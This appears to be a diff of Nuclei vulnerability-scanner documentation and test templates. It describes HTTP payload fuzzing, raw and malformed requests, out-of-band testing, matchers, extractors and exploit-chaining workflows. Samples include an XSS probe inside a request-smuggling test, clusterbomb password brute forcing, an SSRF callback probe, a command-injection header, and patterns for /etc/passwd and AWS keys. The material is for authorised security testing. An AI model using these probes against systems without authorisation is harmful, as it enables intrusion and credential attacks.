matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{reflection}}"
- type: word
part: header
words:
- "text/html"
```
More complete examples are provided [here](/template-example/http/http-fuzzing)

View File

@ -0,0 +1,87 @@
---
title: "HTTP Payloads"
---
<Note>
Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It's possible to define placeholders with simple keywords (or using brackets `{{helper_function(variable)}}` in case mutator functions are needed), and perform **batteringram**, **pitchfork** and **clusterbomb** attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.
Payloads are defined using variable name and can be referenced in the request in between `§ §` or `{{ }}` marker.
</Note>
An example of the using payloads with local wordlist:
```yaml
# HTTP Intruder fuzzing using local wordlist.
payloads:
paths: params.txt
header: local.txt
```
An example of the using payloads with in template wordlist support:
```yaml
# HTTP Intruder fuzzing using in template wordlist.
payloads:
password:
- admin
- guest
- password
```
**Note:** be careful while selecting attack type, as unexpected input will break the template.
For example, if you used `clusterbomb` or `pitchfork` as attack type and defined only one variable in the payload section, template will fail to compile, as `clusterbomb` or `pitchfork` expect more than one variable to use in the template.
### Attack mode
Nuclei engine supports multiple attack types, including `batteringram` as default type which generally used to fuzz single parameter, `clusterbomb` and `pitchfork` for fuzzing multiple parameters which works same as classical burp intruder.
| **Type** | batteringram | pitchfork | clusterbomb |
|-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
<Note>
**batteringram**
The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.
</Note>
<Note>
**pitchfork**
The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
</Note>
<Note>
**clusterbomb**
The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.
It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.
More details [here](https://www.sjoerdlangkemper.nl/2017/08/02/burp-intruder-attack-types/).
</Note>
An example of the using `clusterbomb` attack to fuzz.
```yaml
http:
- raw:
- |
POST /?file={{path}} HTTP/1.1
User-Agent: {{header}}
Host: {{Hostname}}
payloads:
path: helpers/wordlists/prams.txt
header: helpers/wordlists/header.txt
attack: clusterbomb # Defining HTTP fuzz attack type
```

View File

@ -0,0 +1,36 @@
---
title: "RAW HTTP requests"
---
Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.
```yaml
http:
- raw:
- |
POST /path2/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=test&b=pd
```
Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
RAW request format also supports [various helper functions](/template-guide/helper-functions/) letting us do run time manipulation with input. An example of the using a helper function in the header.
```yaml
- raw:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
```
To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.
```yaml
- raw:
- |
GET HTTP/1.1
Host: {{Hostname}}
```

View File

@ -0,0 +1,38 @@
---
title: "Unsafe HTTP Requests"
---
Nuclei supports [rawhttp](https://github.com/projectdiscovery/rawhttp) for complete request control and customization allowing **any kind of malformed requests** for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.
**rawhttp** library is disabled by default and can be enabled by including `unsafe: true` in the request block.
Here is an example of HTTP request smuggling detection template using `rawhttp`.
```yaml
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
- |+
GET /post?postId=5 HTTP/1.1
Host: {{Hostname}}
unsafe: true # Enables rawhttp client
matchers:
- type: dsl
dsl:
- 'contains(body, "<script>alert(1)</script>")'
```

View File

@ -0,0 +1,11 @@
---
title: 'Introduction'
---
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
The templates are written in `YAML` which specifies a simple human-readable format to quickly define the execution process.
<Card title="Get Started" icon="book-open">
Guide to write your own nuclei template
</Card>

View File

@ -0,0 +1,169 @@
---
title: "Network"
---
## Network Requests
Nuclei can act as an automatable **Netcat**, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.
Network Requests start with a **network** block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
tcp:
```
### Inputs
First thing in the request is **inputs**. Inputs are the data that will be sent to the server, and optionally any data to read from the server.
At it's most simple, just specify a string, and it will be sent across the network socket.
```yaml
# inputs is the list of inputs to send to the server
inputs:
- data: "TEST\r\n"
```
You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.
```yaml
inputs:
- data: "50494e47"
type: hex
- data: "\r\n"
```
Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way -
```yaml
inputs:
- data: 'hex_decode("50494e47")\r\n'
```
One last thing that can be done with inputs is reading data from the socket. Specifying `read-size` with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.
```yaml
inputs:
- read-size: 8
```
Example with reading a number of bytes, and only matching on them.
```yaml
inputs:
- read-size: 8
name: prefix
...
matchers:
- type: word
part: prefix
words:
- "CAFEBABE"
```
Multiple steps can be chained together in sequence to do network reading / writing.
### Host
The next part of the requests is the **host** to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **Hostname** - variable is replaced by the hostname provided on command line.
An example name value:
```yaml
host:
- "{{Hostname}}"
```
Nuclei can also do TLS connection to the target server. Just add `tls://` as prefix before the **Hostname** and you're good to go.
```yaml
host:
- "tls://{{Hostname}}"
```
If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.
### Port
Starting from Nuclei v2.9.15, a new field called `port` has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field.
Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this:
```yaml
host:
- "{{Hostname}}"
- "{{Host}}:22"
```
In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22).
The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run:
```bash
$ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit
```
In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn't specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail.
Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs:
```bash
$ nuclei -u scanme.sh:8443
```
In this case, `xyz-ssh-exploit` template will send one request to `scanme.sh:22` and another request to `scanme.sh:8443`, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios.
To address these issues while maintaining the existing functionality, network templates can now be written in the following way:
```yaml
host:
- "{{Hostname}}"
port: 22
```
In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (`80`, `443`, `8080`, `8443`, `8081`, `53`). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports:
```yaml
exclude-ports: 80,443
```
When `exclude-ports` is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port `80`, you will have to explicitly specify it in the port field.
#### Matchers / Extractor Parts
Valid `part` values supported by **Network** protocol for Matchers / Extractor are -
| Value | Description |
|------------------|-------------------------------------|
| request | Network Request |
| data | Final Data Read From Network Socket |
| raw / body / all | All Data received from Socket |
### **Example Network Template**
The final example template file for a `hex` encoded input to detect MongoDB running on servers with working matchers is provided below.
```yaml
id: input-expressions-mongodb-detect
info:
name: Input Expression MongoDB Detection
author: pdteam
severity: info
reference: https://github.com/orleven/Tentacle
tcp:
- inputs:
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
host:
- "{{Hostname}}"
port: 27017
read-size: 2048
matchers:
- type: word
words:
- "logicalSessionTimeout"
- "localTime"
```
More complete examples are provided [here](/template-example/network).

View File

@ -0,0 +1,72 @@
---
title: "OOB Testing"
---
Since release of [Nuclei v2.3.6](https://github.com/projectdiscovery/nuclei/releases/tag/v2.3.6), Nuclei supports using the [interact.sh](https://github.com/projectdiscovery/interactsh) API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing `{{interactsh-url}}` anywhere in the request, and adding a matcher for `interact_protocol`. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
## Interactsh Placeholder
`{{interactsh-url}}` placeholder is supported in **http** and **network** requests.
An example of nuclei request with `{{interactsh-url}}` placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.
```yaml
- raw:
- |
GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
```
## Interactsh Matchers
Interactsh interactions can be used with `word`, `regex` or `dsl` matcher/extractor using following parts.
| part |
|---------------------|
| interactsh_protocol |
| interactsh_request |
| interactsh_response |
<Note>
**interactsh_protocol**
Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.
</Note>
<Note>
**interactsh_request**
The request that the interact.sh server received.
</Note>
<Note>
**interactsh_response**
The response that the interact.sh server sent to the client.
</Note>
Example of Interactsh DNS Interaction matcher:
```yaml
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
```
Example of HTTP Interaction matcher + word matcher on Interaction content
```yaml
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: regex
part: interactsh_request # Confirms the retrieval of /etc/passwd file
regex:
- "root:[x*]:0:0:"
```

View File

@ -0,0 +1,122 @@
---
title: "Extractors"
---
## Extractors
Extractors can be used to extract and display in results a match from the response returned by a module.
### Types
Multiple extractors can be specified in a request. As of now we support five type of extractors.
1. **regex** - Extract data from response based on a Regular Expression.
2. **kval** - Extract `key: value`/`key=value` formatted data from Response Header/Cookie
3. **json** - Extract data from JSON based response in JQ like syntax.
4. **xpath** - Extract xpath based data from HTML Response
5. **dsl** - Extract data from the response based on a DSL expressions.
### Regex Extractor
Example extractor for HTTP Response body using **regex** -
```yaml
extractors:
- type: regex # type of the extractor
part: body # part of the response (header,body,all)
regex:
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" # regex to use for extraction.
```
### Kval Extractor
A **kval** extractor example to extract `content-type` header from HTTP Response.
```yaml
extractors:
- type: kval # type of the extractor
kval:
- content_type # header/cookie value to extract from response
```
Note that `content-type` has been replaced with `content_type` because **kval** extractor does not accept dash (`-`) as input and must be substituted with underscore (`_`).
### JSON Extractor
A **json** extractor example to extract value of `id` object from JSON block.
```yaml
- type: json # type of the extractor
part: body
name: user
json:
- '.[] | .id' # JQ like syntax for extraction
```
For more details about JQ - https://github.com/stedolan/jq
### Xpath Extractor
A **xpath** extractor example to extract value of `href` attribute from HTML response.
```yaml
extractors:
- type: xpath # type of the extractor
attribute: href # attribute value to extract (optional)
xpath:
- '/html/body/div/p[2]/a' # xpath value for extraction
```
With a simple [copy paste in browser](https://www.scientecheasy.com/2020/07/find-xpath-chrome.html/), we can get the **xpath** value form any web page content.
### DSL Extractor
A **dsl** extractor example to extract the effective `body` length through the `len` helper function from HTTP Response.
```yaml
extractors:
- type: dsl # type of the extractor
dsl:
- len(body) # dsl expression value to extract from response
```
### Dynamic Extractor
Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format.
Example of defining a dynamic extractor with name `api` which will capture a regex based pattern from the request.
```yaml
extractors:
- type: regex
name: api
part: body
internal: true # Required for using dynamic variables
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
```
The extracted value is stored in the variable **api**, which can be utilised in any section of the subsequent requests.
If you want to use extractor as a dynamic variable, you must use `internal: true` to avoid printing extracted values in the terminal.
An optional regex **match-group** can also be specified for the regex for more complex matches.
```yaml
extractors:
- type: regex # type of extractor
name: csrf_token # defining the variable name
part: body # part of response to look for
# group defines the matching group being used.
# In GO the "match" is the full array of all matches and submatches
# match[0] is the full match
# match[n] is the submatches. Most often we'd want match[1] as depicted below
group: 1
regex:
- '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'
```
The above extractor with name `csrf_token` will hold the value extracted by `([[:alnum:]]{16})` as `abcdefgh12345678`.
If no group option is provided with this regex, the above extractor with name `csrf_token` will hold the full match (by `<input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />`) as `<input name="csrf_token" type="hidden" value="abcdefgh12345678" />`.

View File

@ -0,0 +1,186 @@
---
title: "Matchers"
---
## Matchers
Matchers allow different type of flexible comparisons on protocol responses. They are what makes nuclei so powerful, checks are very simple to write and multiple checks can be added as per need for very effective scanning.
### Types
Multiple matchers can be specified in a request. There are basically 7 types of matchers:
| Matcher Type | Part Matched |
|--------------|-----------------------------|
| status | Integer Comparisons of Part |
| size | Content Length of Part |
| word | Part for a protocol |
| regex | Part for a protocol |
| binary | Part for a protocol |
| dsl | Part for a protocol |
| xpath | Part for a protocol |
To match status codes for responses, you can use the following syntax.
```yaml
matchers:
# Match the status codes
- type: status
# Some status codes we want to match
status:
- 200
- 302
```
To match binary for hexadecimal responses, you can use the following syntax.
```yaml
matchers:
- type: binary
binary:
- "504B0304" # zip archive
- "526172211A070100" # RAR archive version 5.0
- "FD377A585A0000" # xz tar.xz archive
condition: or
part: body
```
Matchers also support hex encoded data which will be decoded and matched.
```yaml
matchers:
- type: word
encoding: hex
words:
- "50494e47"
part: body
```
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
**XPath** matchers use XPath queries to match XML and HTML responses. If the XPath query returns any results, it's considered a match.
```yaml
matchers:
- type: xpath
part: body
xpath:
- "/html/head/title[contains(text(), 'Example Domain')]"
```
Complex matchers of type **dsl** allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results.
```yaml
matchers:
- type: dsl
dsl:
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
```
Every part of a Protocol response can be matched with DSL matcher. Some examples -
| Response Part | Description | Example |
|----------------|-------------------------------------------------|------------------------|
| content_length | Content-Length Header | content_length >= 1024 |
| status_code | Response Status Code | status_code==200 |
| all_headers | Unique string containing all headers | len(all_headers) |
| body | Body as string | len(body) |
| header_name | Lowercase header name with `-` converted to `_` | len(user_agent) |
| raw | Headers + Response | len(raw) |
### Conditions
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
### Matched Parts
Multiple parts of the response can also be matched for the request, default matched part is `body` if not defined.
Example matchers for HTTP response body using the AND condition:
```yaml
matchers:
# Match the body word
- type: word
# Some words we want to match
words:
- "[core]"
- "[config]"
# Both words must be found in the response body
condition: and
# We want to match request body (default)
part: body
```
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
### Negative Matchers
All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding `negative: true` in the **matchers** block.
Here is an example syntax using `negative` condition, this will return all the URLs not having `PHPSESSID` in the response header.
```yaml
matchers:
- type: word
words:
- "PHPSESSID"
part: header
negative: true
```
### Multiple Matchers
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
Here is an example of syntax for multiple matchers.
```yaml
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
```
### Matchers Condition
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
```yaml
matchers-condition: and
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: or
part: header
- type: word
words:
- "PHP"
part: body
```

View File

@ -0,0 +1,32 @@
---
title: "Preprocessors"
---
## Template **Preprocessors**
Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.
### randstr
<Note>
Generates a [random ID](https://github.com/rs/xid) for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. `randstr` can be suffixed by a number, and new random ids will be created for those names too. Ex. `{{randstr_1}}` which will remain same across the template.
`randstr` is also supported within matchers and can be used to match the inputs.
</Note>
For example:-
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/level1/application/"
headers:
cmd: echo '{{randstr}}'
matchers:
- type: word
words:
- '{{randstr}}'
```

View File

@ -0,0 +1,53 @@
---
title: "Template Details"
---
Each template has a unique ID which is used during output writing to specify the template name for an output line.
The template file ends with **YAML** extension. The template files can be created any text editor of your choice.
```yaml
id: git-config
```
ID must not contain spaces. This is done to allow easier output parsing.
### Information
Next important piece of information about a template is the **info** block. Info block provides **name**, **author**, **severity**, **description**, **reference**, **tags** and `metadata`. It also contains **severity** field which indicates the severity of the template, **info** block also supports dynamic fields, so one can define N number of `key: value` blocks to provide more useful information about the template. **reference** is another popular tag to define external reference links for the template.
Another useful tag to always add in `info` block is **tags**. This allows you to set some custom tags to a template, depending on the purpose like `cve`, `rce` etc. This allows nuclei to identify templates with your input tags and only run them.
Example of an info block -
```yaml
info:
name: Git Config File Detection Template
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
tags: git,config
```
Actual requests and corresponding matchers are placed below the info block, and they perform the task of making requests to target servers and finding if the template request was successful.
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired requests are made to the target sites.
The best part of this is you can simply share your crafted template with your teammates, triage/security team to replicate the issue on the other side with ease.
#### Metadata
It's possible to add metadata nodes, for example, to integrates with [uncover](https://github.com/projectdiscovery/uncover) (cf. [Uncover Integration](https://nuclei.projectdiscovery.io/nuclei/get-started/#uncover-integration)).
The metadata nodes are crafted this way: `<engine>-query: '<query>'` where:
- `<engine>` is the search engine, equivalent of the value of the `-ue` option of nuclei or the `-e` option of uncover
- `<query>` is the search query, equivalent of the value of the `-uq` option of nuclei or the `-q` option of uncover
For example for Shodan:
```
info:
metadata:
shodan-query: 'vuln:CVE-2021-26855'
```

View File

@ -0,0 +1,74 @@
---
title: "Variables"
---
## Variables
Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets `{{<expression>}}`. Variables are declared at template level.
Example variables -
```yaml
variables:
a1: "test" # A string variable
a2: "{{to_lower(rand_base(5))}}" # A DSL function variable
```
Currently, `dns`, `http`, `headless` and `network` protocols support variables.
Example of templates with variables -
```yaml
# Variable example using HTTP requests
id: variables-example
info:
name: Variables Example
author: pdteam
severity: info
variables:
a1: "value"
a2: "{{base64('hello')}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{FQDN}}
Test: {{a1}}
Another: {{a2}}
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
words:
- "value"
- "aGVsbG8="
```
```yaml
# Variable example for network requests
id: variables-example
info:
name: Variables Example
author: pdteam
severity: info
variables:
a1: "PING"
a2: "{{base64('hello')}}"
tcp:
- host:
- "{{Hostname}}"
inputs:
- data: "{{a1}}"
read-size: 8
matchers:
- type: word
part: data
words:
- "{{a2}}"
```

View File

@ -0,0 +1,167 @@
---
title: "Workflows"
---
## Workflows
Workflows allow users to define an execution sequence for templates. The templates will be run on the defined conditions. These are the most efficient way to use nuclei, where all the templates are configured based on needs of users. This means, you can create Technology Based / Target based workflows, like WordPress Workflow, Jira Workflow which only run when the specific technology is detected.
All templates part of a workflow share a common execution context, hence the named extractors from a template are accessible to other templates just by referring to it with its name.
If the tech stack is known, we recommend creating your custom workflows to run your scans. This leads to much lower scan times with better results.
Workflows can be defined with `workflows` attribute, following the `template` / `subtemplates` and `tags` to execute.
```yaml
workflows:
- template: technologies/template-to-execute.yaml
```
**Type of workflows**
1. Generic workflows
2. Conditional workflows
### Generic Workflows
In generic workflow one can define single or multiple template to be executed from a single workflow file. It supports both files and directories as input.
A workflow that runs all config related templates on the list of give URLs.
```yaml
workflows:
- template: files/git-config.yaml
- template: files/svn-config.yaml
- template: files/env-file.yaml
- template: files/backup-files.yaml
- tags: xss,ssrf,cve,lfi
```
A workflow that runs specific list of checks defined for your project.
```yaml
workflows:
- template: cves/
- template: exposed-tokens/
- template: exposures/
- tags: exposures
```
### Conditional Workflows
You can also create conditional templates which execute after matching the condition from a previous template. This is mostly useful for vulnerability detection and exploitation as well as tech based detection and exploitation. Use-cases for this kind of workflows are vast and varied.
**Templates based condition check**
A workflow that executes subtemplates when base template gets matched.
```yaml
workflows:
- template: technologies/jira-detect.yaml
subtemplates:
- tags: jira
- template: exploits/jira/
```
**Matcher Name based condition check**
A workflow that executes subtemplates when a matcher of base template is found in result.
```yaml
workflows:
- template: technologies/tech-detect.yaml
matchers:
- name: vbulletin
subtemplates:
- template: exploits/vbulletin-exp1.yaml
- template: exploits/vbulletin-exp2.yaml
- name: jboss
subtemplates:
- template: exploits/jboss-exp1.yaml
- template: exploits/jboss-exp2.yaml
```
In similar manner, one can create as many and as nested checks for workflows as needed.
**Subtemplate and matcher name based multi level conditional check**
A workflow showcasing chain of template executions that run only if the previous templates get matched.
```yaml
workflows:
- template: technologies/tech-detect.yaml
matchers:
- name: lotus-domino
subtemplates:
- template: technologies/lotus-domino-version.yaml
subtemplates:
- template: cves/xx-yy-zz.yaml
subtemplates:
- template: cves/xx-xx-xx.yaml
```
Conditional workflows are great examples of performing checks and vulnerability detection in most efficient manner instead of spraying all the templates on all the targets and generally come with good ROI on your time and is gentle for the targets as well.
### Shared Execution Context
Nuclei engine supports transparent workflow cookiejar and key-value sharing across templates parts of a same workflow. Here follow an example of a workflow that extract a value from the first template and use it in the second conditional one:
```yaml
id: key-value-sharing-example
info:
name: Key Value Sharing Example
author: pdteam
severity: info
workflows:
- template: template-with-named-extractor.yaml
subtemplates:
- template: template-using-named-extractor.yaml
```
For example, the following templates extract `href` links from a target web page body and make the value available under the `extracted` key:
```yaml
# template-with-named-extractor.yaml
id: value-sharing-template1
info:
name: value-sharing-template1
author: pdteam
severity: info
http:
- path:
- "{{BaseURL}}/path1"
extractors:
- type: regex
part: body
name: extracted
regex:
- 'href="(.*)"'
group: 1
```
Finally the second template in the workflow will use the obtained value by referencing the extractor name (`extracted`):
```yaml
# template-using-named-extractor.yaml
id: value-sharing-template2
info:
name: value-sharing-template2
author: pdteam
severity: info
http:
- raw:
- |
GET /path2 HTTP/1.1
Host: {{Hostname}}
{{extracted}}
```
More complete workflow examples are provided [here](/template-example/workflow)

View File

@ -0,0 +1,29 @@
id: file-upload
# template for testing when file upload is disabled
info:
name: Basic File Upload
author: pdteam
severity: info
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitload
- action: files
args:
by: xpath
xpath: /html/body/form/input[1]
value: headless/file-upload.yaml
- action: sleep
args:
duration: 2
- action: click
args:
by: x
xpath: /html/body/form/input[2]
matchers:
- type: word
words:
- "Basic File Upload"

View File

@ -0,0 +1,15 @@
id: nuclei-headless-local
info:
name: Nuclei Headless Local
author: pdteam
severity: high
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitload

View File

@ -10,6 +10,9 @@ http:
- | - |
GET /api/v1/test?id=123 HTTP/1.1 GET /api/v1/test?id=123 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
- |
GET HTTP/1.1
Host: {{Hostname}}
disable-path-automerge: true disable-path-automerge: true
matchers: matchers:
- type: status - type: status

View File

@ -0,0 +1,27 @@
id: interactsh-requests-mc-and
info:
name: interactsh multi request matcher condition
author: pdteam
severity: info
requests:
- raw:
- |
GET /api/geoping/{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: dsl
dsl:
- "status_code_2 == 200"

View File

@ -0,0 +1,21 @@
id: network-port-example
info:
name: Example Template with Network Port
author: pdteam
severity: high
description: This is an updated description for the network port example.
reference: https://updated-reference-link
tcp:
- host:
- "{{Hostname}}"
port: 23846
inputs:
- data: "PING\r\n"
read-size: 4
matchers:
- type: word
part: data
words:
- "PONG"

View File

@ -78,6 +78,14 @@
"Bower is a package manager which stores package information in the bower.json file" "Bower is a package manager which stores package information in the bower.json file"
] ]
}, },
"impact": {
"type": "string",
"title": "impact of the template",
"description": "In-depth explanation on the impact of the issue found by the template",
"examples": [
"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries"
]
},
"reference": { "reference": {
"$schema": "http://json-schema.org/draft-04/schema#", "$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/stringslice.RawStringSlice", "$ref": "#/definitions/stringslice.RawStringSlice",
@ -342,6 +350,14 @@
"title": "dsl expressions to match in response", "title": "dsl expressions to match in response",
"description": "DSL are the dsl expressions that will be evaluated as part of nuclei matching rules" "description": "DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"
}, },
"xpath": {
"items": {
"type": "string"
},
"type": "array",
"title": "xpath queries to match in response",
"description": "xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules"
},
"encoding": { "encoding": {
"enum": [ "enum": [
"hex" "hex"
@ -371,7 +387,8 @@
"binary", "binary",
"status", "status",
"size", "size",
"dsl" "dsl",
"xpath"
], ],
"type": "string", "type": "string",
"title": "type of the matcher", "title": "type of the matcher",
@ -1104,6 +1121,16 @@
"title": "inputs for the network request", "title": "inputs for the network request",
"description": "Inputs contains any input/output for the current request" "description": "Inputs contains any input/output for the current request"
}, },
"port": {
"type": "string",
"title": "port to send requests to",
"description": "Port to send network requests to"
},
"exclude-ports": {
"type": "string",
"title": "exclude ports from being scanned",
"description": "Exclude ports from being scanned"
},
"read-size": { "read-size": {
"type": "integer", "type": "integer",
"title": "size of network response to read", "title": "size of network response to read",

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,150 @@
https://scanme.sh/?a=1
https://scanme.sh/?a=2
https://scanme.sh/?a=3
https://scanme.sh/?a=4
https://scanme.sh/?a=5
https://scanme.sh/?a=6
https://scanme.sh/?a=7
https://scanme.sh/?a=8
https://scanme.sh/?a=9
https://scanme.sh/?a=10
https://scanme.sh/?a=11
https://scanme.sh/?a=12
https://scanme.sh/?a=13
https://scanme.sh/?a=14
https://scanme.sh/?a=15
https://scanme.sh/?a=16
https://scanme.sh/?a=17
https://scanme.sh/?a=18
https://scanme.sh/?a=19
https://scanme.sh/?a=20
https://scanme.sh/?a=21
https://scanme.sh/?a=22
https://scanme.sh/?a=23
https://scanme.sh/?a=24
https://scanme.sh/?a=25
https://scanme.sh/?a=26
https://scanme.sh/?a=27
https://scanme.sh/?a=28
https://scanme.sh/?a=29
https://scanme.sh/?a=30
https://scanme.sh/?a=31
https://scanme.sh/?a=32
https://scanme.sh/?a=33
https://scanme.sh/?a=34
